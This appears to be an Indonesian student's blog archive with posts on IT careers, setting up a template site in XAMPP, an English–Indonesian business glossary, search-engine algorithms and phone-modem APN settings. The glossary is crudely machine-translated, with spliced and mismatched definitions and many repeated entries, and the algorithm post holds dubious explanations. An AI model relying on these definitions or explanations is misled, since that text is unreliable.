ancurlebur

Karir Paling Menjanjikan di Dunia Komputer

2010-04-13T21:45:00.000-07:00

Saat seseorang menyebutkan karir paling menjanjikan, apa yang anda pikirkan? Jika anda menyebutkan IT (Information Technolgy), itu tidaknlah mengejutkan. U.S. Dept of Labor (DoL) dan Bureau of Labor Statistics (BLS) melihat tingginya permintaan akan karir ini antara tahun 2000-2014.

Banyak orang yang memilih jurusan ilmu komputer, mendapatkan gelar dan menyadari mereka tidak mau mengerjakan pekerjaan tradisional seperti business programmer, network administrator, database administrator, analyst, tech support dan masih banyak lagi.

Karir tradisional ini mungkin akan tetap diminta di masa depan, namun jangan lupakan alternatif lain. Berikut adalah karir paling menjanjkan dan diminati yang berhubungan dengan ketrampilan komputer. Daftar ini dibuat berdasarkan BLS Top 30 fastest growing careers dan juga wawancara dengan professional komputer.

Catatan: Daftar tidak diurutkan berdasarkan rangking perkerjaan.

1. Environmental Simulations Developer.

Dengan seisi dunia dihebohkan dengan Global Warming – diikuti dengan film dan buku mantan Vice Presiden Algore, An Inconvenient Truth – ada lebih banyak kesempatan di bidang ini. Salah satu pekerjaan yang memainkan peran penting dan memerlukan kemampuan komputer adalah Environmental Simulations Developer. Developer ini harus membuat environmental models yang akurat untuk jangka panjang dan jangka pendek sekaligus mengumpulkan data. Seiring dengan memuruknya perubahan iklim dan pemerintah mulai menanggapi masalah dengan serius, permintaan akan climate dan environmental simulations developer akan terus bertumbuh.
2. Video Game Developer.

Dengan ekspansi terus-menerus dari pasar video game, dan diperkenalkannya Wii, industri video game membutuhkan banyak game developer. Fakta terbaru menyebutkan bahwa video game akan memasuki domain baru. Seperti industri kesehatan dan pendidikan dalam skala yang lebih besar. Atau dengan kata lain permintaan akan game yang lebih inovatif terus berkembang.

3. Bioinformatics Simulations Modeling.

Bioinformatic adalah wilayah yang penting yang mencakup pembelajaran tentang gen, rangkaian gen, struktur protein dan lain-lain. Semuanya dapat membantu penemuan obat-obatan. Sebagai tambahan bioinformatics membutuhkan kemampuan matematika turunan dan modeling, ilmu komputer dan lainnya.

4. 3D Animation Technician.

Film 3D yang telah sukses seperti The Incredibles dan Beowulf membutuhkan kemampuan kreatif dan teknis untuk menggunakan sistem animasi yang terkadang tercampur dengan live action. Ada banyak aplikasi yang murah atau tidak mahal seperti POV-Ray, Bryce, Poser, Terragen dan masih banyak lagi.

Teknologi tersebut juga banyak digunakan untuk tayangan TV, dan iklan TV, jadi karir di bidang ini juga akan bertambah.

5. Internet Entrepreneur.

Internet menawarkan peluang karir bahkan sebelum seseorang lulus kuliah. Kemungkinan untuk anda menjalankan bisnis online sangatlah besar. Segala sesuatu dari developing software dan web apps sampai consulting dan web publishing tersedia untuk anda yang memiliki hasrat. Entrepreneurs biasanya lebih didorong dari hasrat didalam diri. Dengan banyaknya kesempatan yang hadir secara online sekarang ini, seseorang dengan pemikiran entrepreneur dan kemampuan website management memeiliki kesempatan yang baik dari online publisher dan Internet marketer.

6. Medical Modeling Systems Developer and Technician.

Kesehatan tentu saja sangat penting, dengan generasi Baby Boomer yang menjadi tenaga penggerak ekonomi terus bertambah usia dan memiliki kebutuhan akan kesehatan. Kemampuan dibidang teknologi kesehatan akan terus dibutuhkan dimasa mendatang. Selain itu peralatan lain seperti alat Bantu pendengaran harus didesain secara fungsional dan gaya tersendiri. Hal tersebut membutuhkan pengertian akan tubuh manusia dan kemampuan komputer yang baik untuk membuat model dari teknologi yang baru.

7. Digital Film Production Assistant and Technician

Terimakasih kepada Internet TV seperti Joost dan babelgum, banyak situs video dan industri TV – termasuk Pay Per View dan Cable – permintaan akan video terus berkembang. Ditambah dengan tren digital yang terus berkembang, dimasa depan akan lebih banyak teknisi komputer yang dibutuhkan untuk bisnis ini.

8. Website Network Manager / Administrator.

Penulis majalah tidak perlu mengerti masalah teknis untuk membuat publikasi terus berjalan. Jadi kenapa penulis pada online publisihing harus mengerti kemampuan administrasi dan teknis untuk mengurus sebuah situs, bahkan jika ia adalah CMS?

Dengan berkembangnya jumlah website dan blog network, kebutuhan akan seseorang untuk melalukan maintenance atas network juga berkembang.

Ideal nya orang tersebut harus mengerti bagaimana meng-install CMS platform seperti WordPress dan Drupal, melakukan maintain registrasi, mengelola database dan backup, memonitor hosting, dan kebanyakan server jika dibutuhkan.

9. Training Software Developer.

Training dan self-help solutions adalah salah satu industri terbesar di perekonomian modern. Ada banyak peluang karir dan software pelatihan untuk anda.

Apakah anda tau bahwa teknologi revolusioner seperti World Wide Web awalnya diciptakan sebagai alat pembelajaran? Tanyakan kepada Sir Tim Berners-Lee, salah satu orang yang paling berjasa dalam penemuan World Wide Web, dan anda akan menemukan bahwa awalnya ia hanya bermaksud untuk membagikan informasi kepada seluruh dunia.

10. Visual and Audio Content Producers.

Perkembangan terbesar dalam konten online sepuluh tahun kedepan adalah Video dan Audio. Dari produksi video sampai video tutorial content producer, diferensiasi terbesar bisnis online adalah kemampuan menciptakan visual dan audio konten yang menarik. Kemampuan menggunakan kode tingkat tinggi seperti Action Script dan video caption software seperti Camstasia Studio dan Splashcast akan menjadi sangat bermanfaat.

2010-04-13T19:44:00.000-07:00

kuliahMembuat Web dengan Xampp OS Windows

Membangun Web dengan web server Xampp dengan OS Windows, dengan menggunakan komputer server, Langkahnya :

Desaint web, untuk lebih mudah kita bisa cari template web di internet Anda tinggal merubah kontennya, misalnya Anda bisa cari pada alamat http://www.oswd.org dan coba download 1 template yang Anda sukai. (misalnya 3col_blue.zip )
Extract file 3col_blue.zip
copy folder 3col_blue ke folder c:\xampp\htdocs
Anda bisa merubah nama folder 3col_blue yang di c:\xampp\htdocs dengan nama folder webku
untuk menjalankan Anda buka web browser dengan alamat http://localhost/webku
Anda selesai membuat Web dengan template
Langkah berikutnya anda tinggal Edit template Anda dengan konten Anda sendiri.

Membangun Web dengan web server Xampp dengan OS Windows, dengan menggunakan komputer client, Langkahnya :

pada komputer client anda, install aplikasi FTP client Anda bisa menggunakan WS_FTP atau yang lainnya.
Desaint web, untuk lebih mudah kita bisa cari template web di internet Anda tinggal merubah kontennya, misalnya Anda bisa cari pada alamat http://www.oswd.org dan coba download 1 template yang Anda sukai. (misalnya 3col_blue.zip )
Extract file 3col_blue.zip
Jalankan WS_FTP :

Host name : IP-Address komputer Server
UserID : newuser
Password : wampp
klik Go

Tampilan WS_FTP ada 2 kolom, kolom sebelah kiri adalah daftar folder komputer Anda dan kolom sebelah kanan adalah daftar folder c:\xampp\htdocs komputer server
pilih folder 3col_blue pada komputer Anda (kolom sebelah kiri)
Upload folder tersebut ke kompter server (klik ==> )
Tunggu sampai Selesai upload
Anda juga bisa mengganti nama folder 3col_blue dengan webku, pilih 3col_blue pada kolom sebelah kanan, klik rename, ganti nama folder baru, klik OK
Anda selesai membuat web di server dengan menggunakan komputer client
Selanjutnya anda tingga Edit Template
Untuk mencoba, pada komputer client buka web browser dengan alamat http://[ip-addrss komputer server]/webku

2010-01-01T00:46:00.000-08:00

definitions of terms in business english

calculated risk
an action that may fail but has a good chance to succeed They took a calculated risk when they introduced the new computer screen onto the market. risiko dihitung
suatu tindakan yang mungkin gagal tetapi memiliki peluang bagus untuk sukses Mereka mengambil risiko dihitung ketika mereka memperkenalkan layar komputer baru ke pasar.

naked possession
Mere holding of a material object or occupation of a real property, without a legal right to do so. telanjang kepemilikan
Hanya memegang suatu objek material atau pendudukan properti yang nyata, tanpa hak legal untuk melakukannya.

above market cost
Cost of a good or service that is more than the average cost of comparable goods or services.

pasar di atas biaya
Biaya barang atau jasa yang lebih daripada biaya rata-rata barang atau jasa yang sebanding.

bond bank
Government agency that buys the entire issues of municipal bonds from the proceeds of its own bonds sold to the general public.

obligasi bank
Instansi pemerintah yang membeli seluruh obligasi isu dari hasil obligasi sendiri dijual kepada masyarakat umum.

yield differential
in the yields of different securities, commonly used to compare bonds with different maturities and credit ratings. As a general rule, bonds with longer maturities and lower credit ratings generate larger yields, and bonds with shorter maturities and lower high credit ratings generate smaller yields. hasil diferensial
dalam menghasilkan efek yang berbeda, biasanya digunakan untuk membandingkan obligasi dengan jatuh tempo dan kredit yang berbeda peringkat. Sebagai aturan umum, obligasi dengan jangka panjang dan peringkat kredit yang lebih rendah menghasilkan hasil yang lebih besar, dan obligasi dengan jangka pendek dan menurunkan peringkat kredit yang tinggi menghasilkan hasil yang lebih kecil.

wide market
Path or 'pipeline' through which goods and services flow in one direction (from vendor to the consumer), and the payments generated by them flow in the opposite direction (from consumer to the vendor). A distribution channel can be as short as being direct from the vendor to the consumer or may include several inter-connected (usually independent but mutually dependent) intermediaries such as wholesalers, distributors, agents, retailers. Each intermediary receives the item at one pricing point and moves it to the next higher pricing point until it reaches the final buyer. Also called channel of distribution or marketing channel.

pasaran
Jalur atau "pipa" melalui barang dan jasa yang mengalir dalam satu arah (dari vendor ke konsumen), dan pembayaran yang dihasilkan oleh mereka mengalir dalam arah yang berlawanan (dari konsumen ke penjual). Sebuah saluran distribusi dapat sesingkat yang langsung dari vendor ke konsumen atau mungkin juga meliputi beberapa saling terkoneksi (biasanya merdeka tetapi saling tergantung) perantara seperti grosir, distributor, agen, pengecer. Setiap perantara menerima item pada satu titik harga dan bergerak ke titik harga yang lebih tinggi hingga mencapai pembeli akhir. Juga disebut saluran distribusi atau saluran pemasaran.

follower advantage
Leverage available to non-pioneering firms for gaining long-term competitive advantage by IBM. The follower can benefit from the (1) clarification of the demand-uncertainty and market-uncertainty, (2) knowledge of the effects of changing customer needs and new technologies, (3) opportunity to free-ride the pioneer's investments in consumer-education, (4) distribution channel and infrastructure development, (5) pioneer's mistakes in product positioning and pricing, and in its promotional efforts.virtue of their late entry into a market: as it was with IBM over Apple, and is with Dell over pengikut keuntungan
Leverage tersedia untuk non-merintis perusahaan untuk jangka panjang memperoleh keuntungan kompetitif oleh IBM. Pengikut dapat memperoleh manfaat dari (1) klarifikasi dan permintaan pasar-ketidakpastian-ketidakpastian, (2) pengetahuan tentang efek mengubah kebutuhan pelanggan dan teknologi baru, (3) kesempatan untuk bebas naik investasi pelopor pendidikan konsumen , (4) saluran distribusi dan pembangunan infrastruktur, (5) perintis kesalahan dalam positioning produk dan harga, serta dalam promosi efforts.virtue akhir mereka masuk ke pasar: seperti yang dengan IBM lebih dari Apple, dan Dell adalah dengan lebih dari
macro environment

Major external and uncontrollable factors that influence an organization's decision making, and affect its performance and strategies. These factors include the economic, demographics, legal, political, and social conditions, technological changes, and natural forces.

lingkungan makro
Utama faktor-faktor eksternal dan tak terkendali yang mempengaruhi pengambilan keputusan organisasi, dan mempengaruhi kinerja dan strategi. Faktor-faktor ini termasuk ekonomi, demografi, hukum, politik, dan kondisi sosial, perubahan teknologi, dan kekuatan alam.

information
In general, raw data that (1) has been verified to be accurate and timely, (2) is specific and organized for a purpose, (3) is presented within a context that gives it meaning and relevance, and which (4) leads to increase in understanding and decrease in uncertainty. The value of information lies solely in its ability to affect a behavior, decision, or outcome. A piece of information is considered valueless if, after receiving it, things remain unchanged. For the technical meaning of information see information theory.

informasi
Secara umum, data mentah yang (1) telah diverifikasi untuk menjadi akurat dan tepat waktu, (2) adalah spesifik dan terorganisir untuk satu tujuan, (3) disajikan dalam konteks yang memberikan makna dan relevansi, dan yang (4) memimpin untuk peningkatan pemahaman dan penurunan dalam ketidakpastian. Nilai informasi hanya terletak pada kemampuannya untuk mempengaruhi perilaku, keputusan, atau hasil. Sepotong informasi yang dianggap tidak berharga jika, setelah menerima itu, hal-hal tetap tidak berubah. Untuk informasi makna teknis melihat informasi teori.

line item
Unit of information in a document, record, or statement, shown on a separate line of its own. Line items usually refer to different elements of a classification or group.
baris

Unit informasi dalam dokumen, catatan, atau pernyataan, yang ditunjukkan pada baris terpisah sendiri. Line item biasanya mengacu pada unsur-unsur yang berbeda klasifikasi atau kelompok.

definitions of terms in business english

factors of production

Resources required for generation of goods or services, generally classified into four major groups: (1) Land (including all natural resources), (2) Labor (including all human resources), (3) Capital (including all man-made resources), and (4) Enterprise (which brings all the previous resources together for production). These factors are classified also as management, machines, materials, and money, or other such nomenclature. More recently, knowledge (know how) has come to be recognized as distinct from labor, and as a factor of production in its own right.

faktor-faktor produksi

Sumber daya yang diperlukan untuk generasi barang atau jasa, biasanya diklasifikasikan ke dalam empat kelompok utama: (1) Tanah (termasuk semua sumber daya alam), (2) Tenaga Kerja (termasuk semua sumber daya manusia), (3) Capital (termasuk semua sumber daya buatan manusia) , dan (4) Enterprise (yang membawa semua sumber daya yang sebelumnya bersama-sama untuk produksi). Faktor-faktor ini diklasifikasikan juga sebagai manajemen, mesin, material, dan uang, atau lainnya nomenklatur tersebut. Baru-baru ini, pengetahuan (tahu bagaimana) telah datang untuk diakui sebagai berbeda dari tenaga kerja, dan sebagai faktor produksi dalam dirinya sendiri.

economic environment
Totality of economic factors, such as employment, income, inflation, interest rates, productivity, and wealth, that influence the buying behavior of consumers and firms.

lingkungan ekonomi

Keseluruhan faktor-faktor ekonomi, seperti pekerjaan, pendapatan, inflasi, suku bunga, produktivitas, dan kekayaan, yang mempengaruhi perilaku pembelian konsumen dan perusahaan.

financial management
Planning, directing, monitoring, organizing, and controlling of the monetary resources of an organization
manajemen keuangan

Perencanaan, pengarahan, pemantauan, pengorganisasian, dan pengendalian sumber daya moneter dari sebuah organisasi
payment terms

Conditions under which a seller will make a sale. Typically, these terms specify the period allowed to a buyer to pay off the amount due, and may demand cash in advance, cash on delivery, deferred payment period of 30 days or more, etc.

Pembayaran

Kondisi di mana seorang penjual akan membuat penjualan. Biasanya, istilah-istilah ini menentukan periode pembeli diizinkan untuk membayar jumlah yang jatuh tempo, dan mungkin menuntut uang tunai di muka, cash on delivery, pembayaran ditangguhkan selama 30 hari atau lebih, dll
competitive price
Price lower than that offered by the competitors. Or the same price but more attractive because of added incentives, such as longer payment terms.

harga kompetitif

Harga lebih rendah dari yang ditawarkan oleh para pesaing. Atau harga yang sama tetapi lebih menarik karena menambahkan insentif, seperti persyaratan pembayaran lagi.
marketing strategy
Written plan (usually a part of the overall corporate plan) which combines product development, promotion, distribution, and pricing approach, identifies the firm's marketing goals, and explains how they will be achieved within a stated timeframe. Marketing strategy determines the choice of target market segment, positioning, marketing mix, and allocation of resources. See also strategic plan.

strategi pemasaran

Ditulis rencana (biasanya merupakan bagian dari rencana perusahaan secara keseluruhan) yang mengkombinasikan pengembangan produk, promosi, distribusi, dan harga pendekatan, mengidentifikasi tujuan-tujuan pemasaran perusahaan, dan menjelaskan bagaimana mereka akan dicapai dalam jangka waktu yang dinyatakan. Strategi pemasaran menentukan pilihan segmen pasar sasaran, positioning, bauran pemasaran, dan alokasi sumber daya. Lihat juga rencana strategis.
mass marketing &nb sp; &nb sp;
Broad-brush, unfocussed attempt to appeal to an entire market with one basic marketing strategy utilizing mass distribution and mass media. Also called undifferentiated marketing.

pemasaran missal

Broad-sikat, unfocussed upaya untuk menarik seluruh pasar dengan satu dasar strategi pemasaran dan distribusi massa memanfaatkan media massa. Juga disebut terdiferensiasi pemasaran.
market fragmentation
Emergence of new segments (in a previously homogeneous market) which have their own distinct needs, requirements, and preferences. These fragments reduce the effectiveness of mass marketing techniques and erode brand loyalty.

fragmentasi pasar

Munculnya segmen baru (dalam pasar homogen sebelumnya) yang memiliki kebutuhan yang berbeda mereka sendiri, persyaratan, dan preferensi. Fragmen ini mengurangi efektivitas teknik pemasaran massal dan mengikis kesetiaan merek.
distribution channel
Path or 'pipeline' through which goods and services flow in one direction (from vendor to the consumer), and the payments generated by them flow in the opposite direction (from consumer to the vendor). A distribution channel can be as short as being direct from the vendor to the consumer or may include several inter-connected (usually independent but mutually dependent) intermediaries such as wholesalers, distributors, agents, retailers. Each intermediary receives the item at one pricing point and moves it to the next higher pricing point until it reaches the final buyer. Also called channel of distribution or marketing channel.

Distribusi

Jalur atau "pipa" melalui barang dan jasa yang mengalir dalam satu arah (dari vendor ke konsumen), dan pembayaran yang dihasilkan oleh mereka mengalir dalam arah yang berlawanan (dari konsumen ke penjual). Sebuah saluran distribusi dapat sesingkat yang langsung dari vendor ke konsumen atau mungkin juga meliputi beberapa saling terkoneksi (biasanya merdeka tetapi saling tergantung) perantara seperti grosir, distributor, agen, pengecer. Setiap perantara menerima item pada satu titik harga dan bergerak ke titik harga yang lebih tinggi hingga mencapai pembeli akhir. Juga disebut saluran distribusi atau saluran pemasaran.
push promotional strategy
Filling the distribution channels with a product on the assumption that consumers will be attracted by the ubiquity and other.

definisi istilah dalam bisnis inggris

faktor-faktor produksi

Sumber daya yang diperlukan untuk generasi barang atau jasa, biasanya diklasifikasikan ke dalam empat kelompok utama: (1) Tanah (termasuk semua sumber daya alam), (2) Tenaga Kerja (termasuk semua sumber daya manusia), (3) Capital (termasuk semua sumber daya buatan manusia) , dan (4) Enterprise (yang membawa semua sumber daya yang sebelumnya bersama-sama untuk produksi). Faktor-faktor ini diklasifikasikan juga sebagai manajemen, mesin, material, dan uang, atau lainnya nomenklatur tersebut. Baru-baru ini, pengetahuan (tahu bagaimana) telah datang untuk diakui sebagai berbeda dari tenaga kerja, dan sebagai faktor produksi dalam dirinya sendiri.

faktor-faktor produksi

Sumber daya yang diperlukan untuk generasi barang atau jasa, biasanya diklasifikasikan ke dalam empat kelompok utama: (1) Tanah (termasuk semua sumber daya alam), (2) Tenaga Kerja (termasuk semua sumber daya manusia), (3) Capital (termasuk semua sumber daya buatan manusia), dan (4) Enterprise (yang membawa semua sumber daya yang sebelumnya bersama-sama untuk produksi). Faktor-faktor ini juga diklasifikasikan Sebagai manajemen, mesin, bahan, dan uang, atau lainnya nomenklatur tersebut. Baru-baru ini, pengetahuan (tahu bagaimana) telah datang untuk diakui Sebagai Berbeda dari tenaga kerja, dan Sebagai faktor produksi dalam dirinya sendiri.

lingkungan ekonomi

Keseluruhan faktor-faktor ekonomi, seperti pekerjaan, pendapatan, inflasi, suku bunga, produktivitas, dan kekayaan, yang mempengaruhi perilaku pembelian konsumen dan perusahaan.

ekonomi lingkungan

Keseluruhan faktor-faktor ekonomi, seperti pekerjaan, pendapatan, inflasi, suku bunga, produktivitas, dan kekayaan, yang Mempengaruhi perilaku pembelian konsumen dan perusahaan.

manajemen keuangan

Perencanaan, pengarahan, pemantauan, pengorganisasian, dan pengendalian sumber daya moneter dari sebuah organisasi

manajemen keuangan

Perencanaan, pengarahan, pemantauan, Pengorganisasian, dan pengendalian sumber daya dari sebuah organisasi Moneter

pembayaran

Kondisi di mana seorang penjual akan membuat penjualan. Biasanya, istilah-istilah ini menentukan periode pembeli diizinkan untuk membayar jumlah yang jatuh tempo, dan mungkin menuntut uang tunai di muka, cash on delivery, pembayaran ditangguhkan selama 30 hari atau lebih, dll

Pembayaran

Kondisi di mana seorang penjual akan membuat penjualan. Biasanya, istilah-istilah ini menentukan periode pembeli diizinkan untuk membayar jumlah yang jatuh tempo, dan mungkin Menuntut uang tunai di muka, cash on delivery, pembayaran ditangguhkan selama 30 hari atau lebih, dll

harga kompetitif

Harga lebih rendah dari yang ditawarkan oleh para pesaing. Atau harga yang sama tetapi lebih menarik karena menambahkan insentif, seperti persyaratan pembayaran lagi.

harga kompetitif

Harga lebih rendah dari yang ditawarkan oleh para Pesaing. Atau harga yang sama tetapi lebih menarik karena Menambahkan insentif, seperti persyaratan pembayaran lagi.

strategi pemasaran

Ditulis rencana (biasanya merupakan bagian dari rencana perusahaan secara keseluruhan) yang mengkombinasikan pengembangan produk, promosi, distribusi, dan harga pendekatan, mengidentifikasi tujuan-tujuan pemasaran perusahaan, dan menjelaskan bagaimana mereka akan dicapai dalam jangka waktu yang dinyatakan. Strategi pemasaran menentukan pilihan segmen pasar sasaran, positioning, bauran pemasaran, dan alokasi sumber daya. Lihat juga rencana strategis.

strategi pemasaran

Ditulis rencana (biasanya Merupakan bagian dari rencana perusahaan secara keseluruhan) yang mengkombinasikan pengembangan produk, promosi, distribusi, dan harga Pendekatan, mengidentifikasi tujuan-tujuan pemasaran perusahaan, dan menjelaskan bagaimana mereka akan dicapai dalam Jangka waktu yang dinyatakan. Strategi pemasaran menentukan pilihan segmen pasar sasaran, positioning, bauran pemasaran, dan Alokasi sumber daya. Lihat juga rencana strategis.

pemasaran massal & nb sp; & nb sp;

Broad-sikat, unfocussed upaya untuk menarik seluruh pasar dengan satu dasar strategi pemasaran dan distribusi massa memanfaatkan media massa. Juga disebut terdiferensiasi pemasaran.

pemasaran missal

Broad-sikat, unfocussed Upaya untuk menarik seluruh pasar dengan satu strategi dasar pemasaran dan distribusi massa Memanfaatkan media massa. Disebut juga terdiferensiasi pemasaran.

fragmentasi pasar

Munculnya segmen baru (dalam pasar homogen sebelumnya) yang memiliki kebutuhan yang berbeda mereka sendiri, persyaratan, dan preferensi. Fragmen ini mengurangi efektivitas teknik pemasaran massal dan mengikis kesetiaan merek.

fragmentasi pasar

Munculnya segmen baru (dalam pasar sebelumnya homogen) yang memiliki kebutuhan yang Berbeda mereka sendiri, persyaratan, dan preferensi. Fragmen ini Mengurangi efektivitas teknik pemasaran massal dan mengikis kesetiaan merek.

distribusi

Jalur atau "pipa" melalui barang dan jasa yang mengalir dalam satu arah (dari vendor ke konsumen), dan pembayaran yang dihasilkan oleh mereka mengalir dalam arah yang berlawanan (dari konsumen ke penjual). Sebuah saluran distribusi dapat sesingkat yang langsung dari vendor ke konsumen atau mungkin juga meliputi beberapa saling terkoneksi (biasanya merdeka tetapi saling tergantung) perantara seperti grosir, distributor, agen, pengecer. Setiap perantara menerima item pada satu titik harga dan bergerak ke titik harga yang lebih tinggi hingga mencapai pembeli akhir. Juga disebut saluran distribusi atau saluran pemasaran.

Distribusi

Jalur atau "pipa" melalui barang dan jasa yang mengalir dalam satu arah (dari penjual ke konsumen), dan pembayaran yang dihasilkan oleh mereka yang mengalir dalam arah berlawanan (dari konsumen ke penjual). Sebuah saluran distribusi yang sesingkat dapat langsung dari penjual ke konsumen atau mungkin juga meliputi Beberapa saling terkoneksi (biasanya merdeka tetapi saling tergantung) perantara seperti grosir, distributor, agen, Pengecer. Setiap perantara menerima item pada satu titik harga dan bergerak ke titik harga yang lebih tinggi Mencapai pembeli hingga akhir. Disebut juga saluran distribusi atau saluran pemasaran.

mendorong strategi promosi

Mengisi saluran distribusi dengan produk pada asumsi bahwa konsumen akan tertarik oleh mana-mana dan lain

Nama : Ganesha Parjuangan
Kelas : 4 kb 04
Npm : 20106575

logaritma search engine

2009-12-18T15:19:00.000-08:00

Algoritma pencarian google ini sebelumnya sudah disinggung sedikit pada artikel pentingnya mendapat rangking, proses perangkingan dan cara google merangking situs, kali ini kita akan membahas lebih jauh lagi tentang algoritma pencarian ini yg merupakan bagian terpenting dari struktur anatomi sebuah search engine/mesin pencari (baca = google)

Algoritma pencarian adalah metode yang digunakan oleh search engine untuk memecahkan masalah. Masalah apa? Masih ingat konsep awal mengapa search engine dibuat? Yaitu untuk membantu kita menemukan apa yang dicari. Yup, search engine dibuat untuk membantu kita, membantu memecahkan masalah yang sedang kita hadapi.

Nah… untuk mencari dan menemukan solusi yang kita inginkan tadi, search engine membutuhkan sebuah teknik atau metode tertentu. Metode yang membuatnya bisa bekerja dan mencarikan solusi untuk permasalahan yang sedang kita hadapi. Metode atau cara kerja inilah yang diistilahkan sebagai Algoritma Pencarian.

Secara umum, algoritma pencarian adalah sebuah prosedure yang bekerja dalam satu arah. Cara kerjanya sebagai berikut, pertama ada masalah, kemudian mencari berbagai solusi yang mempunyai kemungkinan sebagai pemecahannya, lalu keluar dengan hasil akhir yaitu sebuah solusi.

Dengan metode atau prosedure seperti itulah sebuah search engine bekerja. Pertama dia akan meminta masukan atau sebuah permasalahan. Apa permasalah itu? Yaitu kata/kalimat yang ingin kita cari di internet. Setelah kita memasukkan kata kedalam kotak yang disediakan, kemudian mengklik tombol search, maka prosedure kedua dijalankan oleh search engine.

Pada tahap kedua inilah algoritma pencarian mulai bekerja. Melalui algoritma ini search engine akan berusaha mengumpulkan, dan mengurutkan berbagai solusi yang menurutnya mempunyai keterkaitan dengan kata/kalimat yang dicari. Dan akhirnya keluar dengan hasil akhir yaitu menampilkan berbagai halaman web yang menurut search engine tadi berhubungan dengan kata/kalimat yang dicari.

Ada berbagai macam algoritma pencarian yang bisa digunakan oleh search engine untuk memecahkan masalah. Masing-masing search engine menggunakan metodanya sendiri. Itulah yang menyebabkan mengapa saat kita mencari menggunakan kata/kalimat yang sama namun di search engine yang berbeda, akan mendapatkan hasil yang berbeda pula.

Berikut ini beberapa macam algortima pencarian yang digunakan oleh search engine:
List Search:

Algoritma ini bekerja dengan cara mencari secara berurutan. Kita bisa membayangkannya seperti saat kita ingin mencari seseorang dalam sebuah antrian. Maka kita mencarinya dengan cara memeriksa satu persatu, dari awal antrian hingga kita menemukan orang yang ingin kita cari.

Cara atau algoritma seperti ini biasanya digunakan saat kita ingin mencari dengan menggunakan satu faktor atau satu kunci saja sebagai penentu. Untuk antrian yang pendek, cara ini mungkin cukup efektif dan efisien. Tapi untuk mencari sebuah kata dari milyaran web page yang ada di internet, maka akan membutuhkan waktu yang sangat lama.
Tree Search

Bayangkan sebuah pohon! Bayangkan mulai dari akar, batang, cabang, kemudian ranting-rantingnya. Begitulah cara kerja dari algoritma ini. Algoritma ini akan bekerja dengan cara mencarinya dari yang paling mendekati hingga ke yang paling tidak mendekati. Atau bisa juga dikatakan dari yang paling umum hingga ke yang paling spesifik, atau sebaliknya.

Algoritma ini mirip dengan cara yang digunakan orang untuk mengatur internet. Seperti yang kita tahu, setiap situs yang ada di internet itu mempunyai keterkaitan antara satu dengan yang lainnya. Kita bisa menelusuri keterkaitan ini dengan cara memulai dari tingkat yang paling kecil dulu, kemudian ke tingkat yang paling besar, atau sebaliknya.

Tree searches adalah cara yang ampuh digunakan untuk melakukan pencarian di internet, akan tetapi cara ini tidak selalu memberikan hasil yang memuaskan.
SQL Search

Diambil dari kata sequel. Satu kelemahan saat melakukan pencarian menggunakan metode Tree Search yaitu pencarian dilakukan dengan cara dari point ke point, atau dari satu titik ke titik. Itu artinya data harus dicari secara hirarki, dari besar ke kecil atau sebaliknya. Dan kelemahan ini bisa teratasi dengan menggunakan SQL search.
Informed Search

Algoritma informed search bekerja dengan cara mencari solusi yang spesifik atau khusus dari sebuah dataset yang bercabang-cabang (tree dataset). Sesuai dengan namanya, algoritma ini tidak selalu cocok digunakan untuk melakukan pencarian di internet. Karena algoritma ini cuma cocok digunakan untuk pemecahan masalah-masalah yang spesifik atau khusus saja. Sedangkan kita seringkali ingin mencari pemecahan untuk masalah-masalah yang bersifat umum atau luas.
Adversarial Search

Adversarial search bekerja dengan cara mencari berbagai kemungkinan solusi atas sebuah masalah. Ini seperti saat kita melakukan permainan rolex atau gambling, dimana semua kemungkinan akan kita coba. Algoritma ini sulit digunakan untuk melakukan pencarian di internet, sebab berapa banyak kemungkinan yang akan di dapat untuk mencari sebuah kata di internet? Nyaris tak terhingga.
Constraint Satisfaction Search

Saat kita mencari suatu kata/kalimat di internet, maka algoritma constraint satisfaction search ini sepertinya adalah metode yang paling mendekati atau sesuai dengan keinginan mu. Algoritma pencarian jenis ini, akan mencari solusi dengan cara memberikan berbagai alternatif pilihan. Algoritma ini akan mencari dengan berbagai cara, dan tidak harus dengan cara yang berurutan.

Itu tadi beberapa algoritma yang diperlukan saat sebuah search engine akan dibuat. Dan seringkali lebih dari satu algoritma yang digunakan oleh sebuah search engine. Dan seringkali juga, search engine tertentu akan membuat algoritma yang baru.

Setting MANUAL Modem Handphone Untuk PC atau Laptop

2009-12-18T00:57:00.001-08:00

Setting MANUAL Modem Handphone Untuk PC atau Laptop

Untuk setting via kabel data, pastikan driver modem buat HPnya sudah terinstall.
Untuk setting bluetooth, pastikan hp sudah dipairing dengan PC/Laptop.

Buka Control Panel :
1. Network Connections
2. Klik Create a new connection
3. New connection Wizard
4. Pilih Connect to the internet
5. Pilih Set up my connection manually
6. Pilih Connect using a dial-up modem
7. Pilih Modem yang sudah diinstall
8. Tulis ISP Name dengan Nama Provider anda
9. Ketikan Phone number : *99***1#
10. Isikan Username dan Password sesuai dengan settingan Operator anda. (liat posting saya sebelumnya)
12. Selesai.

Untuk HP SE UIQ dial number ke *99***x#, cara menentukan “x”
1. untuk Hp Sonyericsson M600/P1, masuk ke
2. Control Panel >> connections > Internet Account > Data accounts
3. buat account data baru dengan nama “(nama Provider anda)”, isi address : “sesuai APN provider anda, liat di bawah”
4. lainnya dikosongkan semua
5. hitung dari ada, Profile “(nama Provider anda)” ada diurutan keberapa?
6. kalo “(nama Provider anda)” berada di urutan ke 5. masukkan dialing number di PC nya *99***5#, kalo urutan ke 6 masukkan dialing number di PC nya *99***6#.
untuk APN operator :
XL : www.xlgprs.net
Telkomsel Flash Time Based : flash
Telkomsel Volume / Unlimited : telkomsel atau internet
Indosat : indosatgprs
Indosat 3G Unlimited : indosat3g
Indosat Im2 Broom Unlimited : indosatm2
Axis (NTS) : axis
Three : 3gprs

Untuk HP SE dial number ke *99***x#, cara menentukan “x”
1. untuk Hp Sonyericsson non UIQ (A100 dan A200), masuk ke
2. ada 2 pilih salah satu yang sesuai dengan hp anda.
a. setting > connectivity > Data Comm > Data accounts (A100)
b. setting > internet profile > connect using (A200)
3. buat profile baru dengan nama “(nama Provider anda)”, isi apn : “internet”
4. lainnya dikosongkan semua
5. hitung dari ada, Profile “(nama Provider anda)” ada diurutan keberapa?
6. kalo “(nama Provider anda)” berada di urutan ke 5. masukkan dialing number di PC nya *99***5#, kalo urutan ke 6 masukkan dialing number di PC nya *99***6#.
untuk APN operator :
XL : www.xlgprs.net
Telkomsel Flash Time Based : flash
Telkomsel Volume / Unlimited : telkomsel atau internet
Indosat : indosatgprs
Indosat 3G Unlimited : indosat3g
Indosat Im2 Broom Unlimited : indosatm2
Axis (NTS) : axis
Three : 3gprs

Untuk tipe lain
